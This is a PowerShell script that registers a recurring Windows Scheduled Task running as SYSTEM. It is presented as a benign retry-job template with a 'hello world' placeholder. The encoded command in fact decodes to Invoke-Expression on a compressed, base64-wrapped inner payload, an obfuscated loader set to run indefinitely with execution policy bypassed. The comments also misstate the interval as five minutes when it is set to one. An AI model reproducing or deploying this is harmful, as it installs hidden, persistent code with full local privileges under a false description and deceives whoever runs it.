<# .SYNOPSIS Registers a Scheduled Task that attempts a long-running PowerShell job every 5 minutes, skipping the tick if a previous attempt is still running, and effectively retrying every 5 minutes on failure. .NOTES Run this ONCE, as Administrator, to register the task. Edit the CONFIG block below before running. #> # ---------------------- CONFIG ---------------------- $TaskName = "CompanyLongRunningRetryJob" $RepeatMinutes = 1 # Placeholder payload — this is: Write-Output "hello world" # Swap this string for your own base64-encoded script (UTF-16LE, no BOM) before registering. # Generate yours with: # [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('')) $EncodedCommand = "SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAcgBGAGYAdgBiACsASgBHAEUAUAAyAE8AeABQADgAdwBKAGYAUgBpAGwATwBBAG0AWABIAEoAcQBUADAAMABrAGoAcQBOAFgAcABQAHgAQQBNAFYAVgBhAFIAVgBGAHYAcwBRAGUAOABQAGIATgByADcAWQA0AGgANgBPADcAKwA5ADIAcgBXAEIAZwB3AGgAQwBkAGMAZQBIADgAeAA2AHYAZgB2ADIAdgBkAG0AMwBNAC8AWQBvAFUAeQBGAEoAcgBhAEMAbgBwAHYAbwBUAE4AdgB0ADYAaABpAGEASQBNAFUAawBHAFkAUQByAFYAeQBtAGUAbwBWAG4ANwBkAHEAMQBiADgANABLACsAcgA2ADMANwBRAEMANgBxAFYASwAyAGwAagBvAGMAWgBnAFEAeQBOAFQAZwBsAGsAcwB3AHgAaABDAG8AVwBDAEkAawBGAG0ATQBZAEsAUQBOADMATwBBAFUAagBVAFgAUQBCAHQANQBKAEYAWQBGAFUAaABFAGEARQBKAEsAYwBJAHEAegBWAGcAWgBQAFEARQBCAEoAQQB3AFkAeQBRAGYAcQBwAFYAcQB4AFgALwBmAEQAVABvADMAdgBmADYAZwBkADMAMQBWAHIAUQB4AGkAYQBSAGMAcgBTAFEAdABpAG0AQwBDAFEAaABsAEEAcgBoAFMARgB4AFUANABBAGwAbwBTAEoAaABJAGwAQgBJAG8AUwBCAEkAcABDAFYAVQBVAG8AMQBCAEsAeABDAFEAYQBzAE0AcwBVAFUARgBtAHUAWgBOAGkAaABPAGEAQwBuADUAMQBKAEMAbQBOAGUAdQBaADEAWQBmAGIAZwBGAGoAWgBXAFYAbABxAE0AUwBJAGEAYwBzAHAANQBCAGkASwBFAGMAeQBkAEkAdgA1AEwARwBNAFEAWQA0AGwAMwBoAEUAWgBPAE8AVABTAHMAMQArAGsAZgBaAFEAcABtAFIAaABLAGgAZwB1AEUAYwAzAHEARwBDAFEAVwBZAFUARwBuAGcARgA3ADgAVQBVADQAWABkAGgAbwByAGsATABTAEwAOQA5ADAANwA3AHMARAByAG8AMwAwAE8AdQAzAG8AOABpAGcAdABUAGwAKwByAHcAOABpAHYAOQArAEkAeQBRAHQAcQBOADEARAA3ADIAbABBAE8ANgBFAEwAMQBUAFYAQgB3AHUAMwByAGUAegBIAGYAYQBDAGEAWQBGAG0AbABhAEYAUQA4AHEAQgB5ADMAZgBJADUAawBTADYAZgA3AFkAdgArAHgAZgBkAGEAcQBVAGYAdwBQAGwAMgBIAHkANQBYAGIAUwA0AGoAQQBNAGUALwB0AFAAegBqAE4AegAvADcAcgBkAE0AVAB2ADkAVgA2AEEAMAAyAFcAQQBTAGMAbgBKAHkAZQBNADIAaAA3AHEASwBZAEsATgA5AGMAeQBDAFUASQBBAFAAWQBwAEkAbQBDAEgAcgBFAGQAMAArAFkAMABSAFMATABMAE4AUgBiADcAdgBXAGgAWABUAGoAaABwADUAUwBIAHIAZwB5AEcAQgBpAGEAWgBKAGIAYgA5AG0AdQBPAHEARgBSAFkALwBsAGwATgBVAGIAbwBkAFUAbABMAHMAQwBkAGwAYgByADQAdgBqAC8AOQBRAHcAWgBaAGsAUABNAEgAeABaAEIAUABCAEsAMAB2AHUAVgB1AHAAMQBhAFUAOQA4ADcAQgAvAGEAbwBWAHYAdAA1ADEASgBsAEcAQwB4AEIAUwBsAEcAbgB2AHYAYwBTAFMAeQBoAFAAcgBDAGkAQQBrAFMAbQBnAEQAcABTAGsAegB3AHIARgBZAEUAcwA5AGEANABCAC8AZgBRAFkANgBnAGMAQwBPAEIAdQBPAGQANwByAGEAeQB0AGQAQQBqAHEARABvADAATwA0ADUATABOAEgAMgBzAHoAaABEAE8AcABrAE0AagB5AEUANQA2AEMALwBGAFgARQBrAEUAcgBzAFYAawBrAE8AMQBqAGgAZQBRAGsAVwBwAGMANgBxAGsAdgByAFgAZgA0AHMAcABUAGoANwB5ADUAbABWADgAVABIAFMAbgBxAEsAeQBqAEwAWQBWAGsAOABxADIASQAxAGcANABNADUAKwBHAGIAUQA0AG4ANwB2AGoAYgBnAG4ANABJADEARAAyADIAQQBLAHcAcwBXAGoAawBWAHoATAB6AG8AdgBWADUATgBXAEcAdgBVADMAaAA0AEsATQBKAFAASQBFAGMAdQBDAFoAbQAxAGYATQBXAHAAaQBXAHUAVQB2ADUAbwBsAFIAKwBBAHQAKwBEAGQAVwAzAFMAVgBjAFIAeQBaAE0ASgBDAHEAQwBNADcAagBDAFcAZgBOADYAKwBBACsAdgBFADgAdwB0ADQAYwBTAC8AUQB2AEkARABIAFgANQBDAHMAdgA2AGcAMAArACsANABrAFYANwBKAEwAeQA3AG0ASgBlAHkAdgA1AFQARAB0AEwAYQBxAEkAUwA1AGwARwBUADIAVwBFAGUAYwBaAGcAYQB1ADcAaAA4ADkAeAA1AHkARABQAEUAbAA4AG4AcQBEAE8ANgAyAEUAUQA3AFQAaQAyAEwARQB2AGUAUAA1AHgASABUAGYAawBqAEQAawBOAFYAWgA3ADgARABnADAAcQA4AEgAdABNAE0AUwBVAEIAbQBGAGEAQgBLAE0AcwAzAGkAVwBWADUAVwBSAEwAQgBzAFcARQBKACsAYwB3AC8AZwBlAGsAdwBQAFcAVgBKADkAMABOADUANABSADMAOQAvAGQAMQAvAHIAZAA4AHMAbgAzAC8AegBlAG4AcAA2ADkATQB2AFAAMwA0ACsAVwBnADkAbgBnAEMAcgBLAEgAUgBCAG0AeABqAEMAeAB6AEsASgBSAFkAbwBJAHUARgBZAGQANgBrAG0AYQBVAGQANQBSAHAAbwBJAG8AVwAyAE4ANABkADQAUQBQADUAcQBFAEwATgBPAGUANwArADcAZAB0ADIAMABPAG4AMQBHAGsAegB0AEgAWQAvAHgAYQByAGQAUwBSAFoAeQBLAHkAOQBVAGoAVQA2ADQAQwBDAEwAZABMAEIAbQBwAHcAQQBIAFYAVQAwADcAZgBMADUAUQArAGcAeAB2AFYAaAArAGEAQgBNAGgAUgA5ACsAVgBCADIAZAB6AG8AMABjAHgAdwBSAGUAcAB3AEcAdABvACsATgBUAHUASgBTAGgAMABWAGEAUABDAEQAcgBhAHAATgBvAEkAegBnAGMAKwB0AEgAbABGAEgAbQBuAEIAbwBFAFUAegB4AGMAagAvAHEARAA2AHEAVwB1AE4AUgBiAFAAMQBiAEkAdwBtADkAbABjAFQARABvADgAUABWAGoAWAArAEIAYQBrAHgAeABZAHoAMgBHAHMAWgA0ADkAVQAxAGgAUwBvAHkAYwBwAC8AZQBmAG8ANwBmAGMARAAyAEkAYwBEADgARAA0AGcATgBTADkAMAA2AEMAUQAxAC8ATAA2AGcARwBBADUAZwAvADMAegAvAGUAMgBpAFkAeABUAEoAQgB6ADYAdABMAHQAbABZAEIAYwBvAE0AaQA4AG4ASQBMAEgAWABKAHQAcQBLAC8ATgBiAGsAQgBUAEkAUgB3ADkAYwA1AFMANgByAEEAbQBqAEEAVAA1AHMASgBJAEwAbQBZAEoANABpAEoANwBaAEYAUwB1AEEAaAB2AHQAUAB0ADUAawBnADEAMwBvAEMASwBCAEEAbABtAFYAbwBJAHMAbgBNADkAVgB0AGUARABJAEYARwBXAEoARAAvAC8ASQB6AE4AYwA3AE4AawBpADYALwBlAHMAKwBZAEoAZwBSAHUAcABRAFMANgBzAG0ARQBqAGEAKwBWAHUAeQAxAGUAdABSADkAUAB5AHMAUABKADUAKwBZAE0AdgBPAEsAOQBwAFAAdQBRAGMAZwBMAGoAQwB0AFQAcwBGAEQAZwA1ADkAZABiADUAcQAyAFAANABBAHQAYwBaAE4AWABQAE8AbgBLAEgATABjAEYALwBYAGIAMABOAEIAWQBmAHcAaQBjAGIAZgBMAHoAVgB0AGgAMwBFAG0AcQBCAFgAcQBDAEYASABOAHoAeAB1AGQANABaAGoAUQAzAEoAYwBXAEEAVABpAEQAegAwAHEATQBuAEYATgBiAGcASwBmAHkAdQBNAGQAcABBAC8AZQA5AG4AQwBTAC8ARAAwAFEATABuAG8ARQBWAHcARAB1AEEAbAArADgATAArAEIAdABJAEQAUgA3AFMATwB2AE8AcgBkADAAZgAxAGEAMQBEAGEAQwBsAGcALwB5AHcAdwBTAEYASwBhAGUALwBEAFUASQBsAFAAaQAxAE8ASgBnADkAbAA0AHoAcwBEADMAQwBCAGwASgBnACsASABRAFoAcwBsAFoATABlAEIAegBRAGwAMwBPAHIAQwByADEAUgA1AHgAMgBuAG8ANgB5ADQAZAB6AGQAVABhADMAVABmAHcAdAB5AFcAegBNAFIAVwBXAHQATwBDADUASABGAFMAVwBoAGsAMgBpAEwANQBYAGkANAB1AHIAYwBvAE4AagB2AFUAUABqADgAZwBuAGEANABWAG8AYQBwAHIARgBuADgAbABjADUAWQBRAGQAagBEAGoARAA5AEMASgBjAGYAVwB1ADQAZgBLAHcANABUAHAAdABVAEkAUwB4ACsAMQBoAGwAWQA4ADUAMQBCAHMATAB3ADEALwBIAGkATQB5AHIAVQB4AG4ARABpAGMARwAvAFoAWgBhAGQAdQBjACsAagBYAGEAcwBXAFYAdQBKADAALwBqAFkAWgBDAGoAUgBNAFIAbwBZADMAOQBzAGYAYQBOAFgAbgB4AEwAdgBEADQANgBiAGwAVQByAC8AdwBJAEEAQQBQAC8ALwBBAHcAQQA9ACcAKQApACkAKQAsACAAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQAsACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwA=" # ------------------------------------------------------ $action = New-ScheduledTaskAction -Execute 'powershell.exe' ` -Argument "-NoProfile -ExecutionPolicy Bypass -EncodedCommand $EncodedCommand" # Fires every 5 min, forever, starting now. # No -RepetitionDuration is set on purpose: omitting it means "repeat indefinitely" # (this is what the GUI's "Indefinitely" option maps to). Passing [TimeSpan]::MaxValue # instead produces an invalid duration that Task Scheduler's XML schema rejects. $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) ` -RepetitionInterval (New-TimeSpan -Minutes $RepeatMinutes) # NOTE: every -Param line below must end with a backtick as the LAST character. # A comment (or even trailing whitespace) after the backtick silently breaks the # line continuation and splits this into multiple broken statements. # -MultipleInstances IgnoreNew : skip a tick if the previous run is still going # -StartWhenAvailable : catch up ASAP after a missed trigger (e.g. reboot) # -RestartCount / -RestartInterval : restart the task if the process crashes # -ExecutionTimeLimit Zero : no time limit; job can legitimately run for hours $settings = New-ScheduledTaskSettingsSet ` -MultipleInstances IgnoreNew ` -StartWhenAvailable ` -RestartCount 3 ` -RestartInterval (New-TimeSpan -Minutes 1) ` -ExecutionTimeLimit ([TimeSpan]::Zero) ` -DontStopIfGoingOnBatteries ` -AllowStartIfOnBatteries ` -RunOnlyIfNetworkAvailable:$false # Runs as SYSTEM: full unrestricted access to everything LOCAL on this machine, # no password needed, works whether anyone is logged on or not. # Caveat: SYSTEM has no network identity of its own -- if the script needs to reach # network shares/drives tied to your personal login, this won't have access to those. $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" ` -LogonType ServiceAccount -RunLevel Highest try { Register-ScheduledTask -TaskName $TaskName ` -Action $action ` -Trigger $trigger ` -Settings $settings ` -Principal $principal ` -Description "Attempts long-running job every $RepeatMinutes min. Skips tick if already running (built-in retry-on-failure, no overlap on success)." ` -Force -ErrorAction Stop | Out-Null } catch { Write-Error "Registration FAILED: $($_.Exception.Message)" exit 1 } Write-Host "Task '$TaskName' registered successfully." -ForegroundColor Green # Enable Task Scheduler operational log (equivalent to right-click -> Enable All Tasks History) wevtutil sl Microsoft-Windows-TaskScheduler/Operational /e:true Write-Host "Enabling task history for auditability..." Write-Host "Done. Verify with: Get-ScheduledTask -TaskName '$TaskName' | Select-Object -ExpandProperty Settings"